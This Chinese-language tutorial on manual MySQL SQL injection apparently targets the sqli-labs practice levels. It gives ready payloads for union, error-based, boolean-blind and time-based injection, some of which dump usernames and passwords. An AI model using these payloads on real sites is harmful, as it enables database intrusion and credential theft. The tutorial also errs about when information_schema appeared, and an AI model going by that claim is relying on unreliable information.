SQL注入常用命令详解
0x01 基本概念和原理
SQL注入是一种网络攻击技术,通过在应用程序的输入字段中插入或“注入”恶意SQL代码,攻击者能够操纵数据库的查询,从而窃取、篡改或删除数据。这种攻击通常发生在应用程序对用户输入的数据没有进行充分的验证或处理不当的情况下。
SQL注入的基本原理是将恶意的SQL代码注入到应用程序的查询中,这些查询原本是用于从数据库中检索、插入、更新或删除数据。当应用程序没有正确地处理用户输入时,用户可以输入特定的SQL代码片段,这些代码片段可能会修改应用程序原本的查询语句。通过这种方式,攻击者能够操纵数据库的行为,以达到他们的目的。
SQL注入的两个关键点是:
- 用户能够控制输入的内容:这意味着攻击者可以通过输入恶意内容来影响查询的行为。
- 应用程序将用户输入的内容带入到数据库执行:如果应用程序没有对用户输入进行适当的验证和处理,那么这些输入可能会被直接插入到SQL查询中,并被数据库执行。
SQL注入的本质是将用户输入的数据当作代码来执行,这违背了“数据与代码分离”的原则。当应用程序没有正确地处理这种场景时,就可能导致SQL注入漏洞。
0x02 常用数据库操作
1、常用分隔符
SQL注入的分隔符是用来分隔SQL语句的特定符号。在编写SQL查询时,通常使用逗号(,)来分隔不同的参数或条件。但是,当参数值本身包含逗号时,就需要使用分隔符来正确解析查询。
常用的SQL注入分隔符包括:
- 单引号('):用于将参数值括起来,防止参数值中的特殊字符干扰SQL语句的结构。
- 双引号("):与单引号类似,用于将参数值括起来,但双引号括起来的字符串通常用于表示字段或表名。
- 分号(;):在某些数据库系统中,分号可以用于分隔不同的SQL语句。
- 反斜杠(\):用于转义特殊字符,例如在参数值中包含逗号、单引号或双引号时使用。
2、常用注释符号
这些注释符号在SQL注入攻击中常被用来绕过一些安全措施或过滤器。例如,攻击者可以通过在输入中添加注释符号来修改SQL语句的结构,从而执行未授权的查询或命令。因此,了解这些符号以及如何正确使用它们是很重要的,以确保应用程序的安全性。
在SQL注入中注释符号可以将语句的后半部分过滤掉,防止语句报错。
- 单行注释:# 后面直接加内容
- 单行注释:-- 后面必须要加空格
- 多行注释:/**/ 中间可以跨行
3、SQL注入常用函数
版本查询:利用内置函数查询数据库版本,例如:
-
version()
:查询数据库版本。 -
database()
:查询数据库名称。 -
user()
:查询当前用户。
数据查询:获取数据库中的数据,例如:
-
select * from table_name
:查询表中的所有数据。 -
select column1, column2 from table_name
:查询特定列的数据。
命令执行:执行特定的数据库命令,例如:
-
drop table table_name
:删除表。 -
insert into table_name (column1, column2) values (value1, value2)
:插入数据。
系统信息查询:获取系统相关信息,例如:
-
select @@global.version_compile_os
:查询操作系统信息。
联合查询:利用UNION关键字合并多个查询结果,例如:
-
select column1 from table1 union select column2 from table2
:合并两个查询结果。
其他常用命令:
-
concat(str1, str2)
:拼接字符串。 -
group_concat(str)
:将获取到的内容合并成一行输出。 -
concat_ws(str1, str2…)
:合并输出查询的字段。 -
table_name
:具体的数据表。 -
column_name
:字段名。 -
information_schema
:自5.7及后的MySQL版本,都有了这个库,所有的表都会记录在这个数据库下。 -
information_schema.tables
:所有的数据表。 -
information_schema.columns
:所有的数据表中的字段。 -
table_schema
:数据库的名称。 -
where
:筛选指定内容。 -
order by
:判断有多少字段。 -
database()
:查看当前使用什么数据库。 -
version()
:查看当前使用什么版本的MySQL。 -
@@datadir
:查看当前MySQL的路径。 -
@@version_compile_os
:查看操作系统版本。 -
limit
:查询其它数据库或者表、列等名。
判断数据库信息:利用内置函数爆数据库信息,例如:
-
version()
、database()
、user()
等函数可以用于获取数据库的相关信息。
判断数据库名:例如通过GET请求获取数据库名,如GET:IP/Less-1/?
等命令。
函数 /语句 | 功能 |
---|---|
user() | 当前用户名 |
current_user() | 当前用户名 (可用来查看权限 |
database() | 当前所用数据库 |
@@datadir | 数据库的路径 |
version() / @@version | 数据库的版本 |
@@version_compile_os | 查看操作系统版本 |
concat(str1,str2) | 连接 N个字符串 |
concat_ws(separator,str1,str2) | 用分隔符连接两个字段的字符串 |
group_concat(str1,str2) | 将多行查询结果以逗号分隔全部输出 |
substr(string,start,length) | 将目标字符串从strat位置截取指定长度length |
limit | 返回结果中的前几条数据或者中间的数据 |
COUNT(column_name) | 返回指定列的值的数目 (NULL 不计入) |
sleep(num) | 让语句暂停num秒的时间 |
if(condition,result1,result2) | 判断一个条件,条件为真执行结果1,否则执行结果2 |
load file() | 读文件操作 |
Into outfile() / into dumpfile | 写文件操作 |
4、查看数据库常用命令
SQL注入是一种常见的网络攻击手段,攻击者通过在应用程序的输入中注入恶意的SQL代码,来执行未授权的查询或命令。以下是SQL注入常用的数据库命令:
1.爆库:select group_concat(schema_name) from information_schema.schemata;
2.爆表1:select group_concat(table_name) from information_schema.tables where
table_schema='security'; 加引号
爆表2:select table_name from information_schema.tables where
table_schema='security' limit 3,1; 加引号
3.爆字段1:select group_concat(column_name) from information_schema.columns where
table_name='users' and table_schema='security'; 加引号
爆字段2:select column_name from information_schema.columns where
table_name='users' and table_schema='security' limit 1,1;
4.爆字段值:select group_concat(username,0x3a,password) from security.users; 不加
引号
0x03 SQL注入的分类
根据执行效果,可以分为联合查询注入、报错注入、堆查询注入和盲注。其中,盲注又可以分为基于时间和基于bool的注入。
根据提交方式,可以分为POST型、GET型、HTTP型和Cookie型。
1、联合查询注入 (UNION )
联合查询是使用 union 或者 union all 拼接两条 select 语句来进行查询注入方式,效率非常高,
select * from users union all select user(),database(),version();
Union 语句是 SQL 中用于合并两个或多个 SELECT 语句结果集的操作符。它可以将来自不同表或同一表的数据组合在一起,并自动去除重复的行。Union 语句的基本语法如下:
SELECT column1, column2, ... FROM table1
UNION
SELECT column1, column2, ... FROM table2;
Union 语句的使用需要注意以下几点:
- 每个 SELECT 语句必须具有相同的列数,并且对应的列必须具有相似的数据类型。列的顺序也必须相同。
- UNION 默认只返回不同的值。如果想要返回所有值,包括重复的值,可以使用 UNION ALL 语句。
- UNION 操作符用于合并两个或多个 SELECT 语句的结果集,但并不会自动对结果进行排序。如果需要对结果进行排序,需要使用 ORDER BY 子句。
- UNION 操作符的结果集将自动去除重复的行。如果想要保留重复的行,可以使用 UNION ALL 操作符。
2、报错注入
mysql中的一些函数在报错时,会抛出错误代码,借此可以执行一些特定的sql语句来获取数据库的信息在有些时候虽然存在注入点能够执sql语句,但是页面中并没有打印sql执行结果的回显位置,但是如果页面能够抛出报错的代码信息,就可以利用报错回显,来查看注入的sql语句的执行结果。
报错注入常用函数
# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a);
# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
# 6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
# 7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
# 8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
# 9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
# 10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
函数报错原理
floor()
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
该函数最大显示长度为64,超过长度可以配合substr、limit等函数来显示。
extractvalue()
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
从目标XML中返回包含所查询值的字符串,如果Xpath格式语法书写错误的话,就会报错该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示。
updatexml()
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
updatexml的第二个参数需要Xpath格式的字符串,是用/xxx/xxx/xxx/…这种格式,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出。
该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示。
爆库&&爆数据
爆库或者爆数据的时候可能会遇到一些问题,sql语句的查询结果很长,但是updatexml函数只能抛出32
位长度的报错信息,这个时候就要用到substr函数分段截取显示结果 或者 limit 逐行显示结果
substr(str, start, length) 注意索引从 1 开始,每次截取 32 位,第二次索引从 32 开始再截取 32 位
,以此类推。
下列命令以SQL-libs第五关为例
爆库
substr
payload: id=1' and (updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),0,32),0x7e),1)); -- +
limit
payload: id=1' and (updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),0,32),0x7e),1)); --
+
爆表
payload: id=1' and (updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32),0x7e),1)); -- +
爆字段
payload: id=1' and (updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,32),0x7e),1)); -- +
爆数据
payload: id=1' and (updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from security.users),1,32),0x7e),1)); -- +
3、布尔盲注
布尔盲注一般适用于页面没有回显字段不支持联合查询和报错注入,且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 或 false 使web页面返回 true 或 false,从而达到注入的目的来获取信息。
查询数据内容
由于没有回显,我们只能利用一些函数来构造等式,判断数据内容,length() 函数返回一个字符串的长度,可以以用来判断字符串 sql 查询结果的长度。
下列命令以SQL-libs第八关为例
and length(database())=8 -- + # 判断当前数据库名长度
注意:使用二分法可以非常有效的判断出字符的长度。
substr() \ left() 函数 截取查询结果字符进行判断
and substr(database(),1,1)='a' -- + # 使用指定字符一位一位判断截取到的字符
and left(database(),8)='security' -- + # 截取指定长度结果,进行判断
# 可使用ascii函数,查询截取到字符的ascii码
ascii(substr(database(),1,1))=115 -- + # 使用ascii码一位一位比对截取到的字符
在进行爆库&&爆数据时都要先判断sql查询结果的长度,可以用二分法快速判断
判断所有库名的长度
payload: id=1' and length((select group_concat(schema_name) from information_schema.schemata))<200 -- +
爆库
payload: id=1' and substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i' -- +
爆表
payload: id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e' -- +
爆字段
payload: id=1' and substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,1)='i' -- +
4、延时注入
延时注入是盲注的一种,在页面没有回显和报错,也不能通过拼接 and 0 、and 1 的布尔表达式来判断sql语句是否成功执行,只能在参数后and sleep(5) , 加上延时函数sleep(), 如果sql语句执行页面刷新就会有一定的延时,根据页面是否有延时来判断sql语句执行与否所以叫做延时注入
查询数据内容
由于没有回显,我们只能利用一些函数来构造等式,判断数据内容length() 函数返回一个字符串的长度,可以以用来判断字符串 sql 查询结果的长度。
下列命令以SQL-libs第九关为例
and if(length(database()) = 8, sleep(3),1) -- + # 判断当前数据库名长度
substr() \ left() 函数 截取查询结果字符进行判断
and if(substr(database(),1,1) = 's', sleep(3),1) -- + # 使用指定字符一位一位判断截取
到的字符
and if(left(database(),8)='security', sleep(3),1) -- + # 截取指定长度结果,进行判断
可使用ascii函数,查询截取到字符的ascii码
and if(ascii(substr(database(),1,1))=115, sleep(3),1) -- + # 使用ascii码一位一位比对
截取到的字符
爆库
payload: id=1' and if((substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i'),sleep(3),1) -- +
爆表
payload: id=1' and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e'),sleep(3),1) -- +
爆字段
payload: id=1' and if((substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,1)='i'),sleep(3),1) -- +
爆数据
payload: id=1' and if((substr((select group_concat(username,0x3a,password) from security.users),1,1)='d'),sleep(3),1) -- +
总结
当前文章都是对SQL手工注入的讲解,你对手工注入的原理有了一定了解,可以使用sqlmap一把梭,提高注入效率。